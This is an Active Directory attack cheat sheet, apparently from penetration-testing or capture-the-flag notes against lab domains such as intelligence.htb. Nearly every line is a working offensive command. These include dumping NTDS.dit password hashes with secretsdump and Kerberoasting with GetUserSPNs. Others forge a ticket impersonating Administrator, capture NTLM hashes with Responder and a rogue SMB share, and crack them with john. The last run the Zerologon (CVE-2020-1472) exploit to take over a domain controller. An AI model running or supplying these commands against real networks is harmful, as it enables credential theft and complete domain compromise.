# Extract domain user password hashes from the NTDS.dit file on a DC
# (requires SYSTEM access)
Syntax: impacket-secretsdump -ntds <NTDS_path> -system <SYSTEM_hive_path> -dc-ip <DC_IP> <domain>/<user>:<pass>@<host>
impacket-secretsdump -ntds C:\Windows\NTDS\ntds.dit -system C:\Windows\System32\Config\system -dc-ip 10.10.42.228 spookysec.local/backup:[email protected]
# Identify SPNs
GetUserSPNs.py intelligence.htb/svc_int$ -hashes :d64b83fe606e6d3005e20ce0ee932fe2
# Craft a Silver Ticket to impersonate Administrator
getST.py intelligence.htb/svc_int$ -spn WWW/dc.intelligence.htb -hashes :d64b83fe606e6d3005e20ce0ee932fe2 -impersonate Administrator
# Sync my clock with the DC to avoid Kerberos "Clock skew too great" errors
date
apt-get install chrony # Install time sync utility
timedatectl set-ntp true # Enable NTP
ntpdate IP # Sync time with the DC
# Use Kerberos auth to interact with SMB shares on the DC
smbclient.py -k intelligence.htb/[email protected] -no-pass
# /etc/responder/Responder.conf
responder -I tun0
url=//192.168.40.155/dir
impacket-smbserver share . -smb2support
dir \\IP\share
net use x: \\IP\share
\\IP\ # Via explorer
# Then, crack the hash or PtH with the NTLM hash
john user.hash --format=netntlmv2 --wordlist=/usr/share/wordlists/rockyou.txt
https://book.qaisqais.com/network/ad/lateral-movement-ad#pass-the-hash
# Easy but dangerous attack to run in an environment.
# Attacking a DC, setting the pwd to null, and taking over the DC.
# Check: https://github.com/SecuraBV/CVE-2020-1472
python3 zerologon_check.py <DC> <DC_IP>
# Exploit: https://github.com/dirkjanm/CVE-2020-1472
python3 cve-2020-1472-exploit.py <DC> <DC_IP>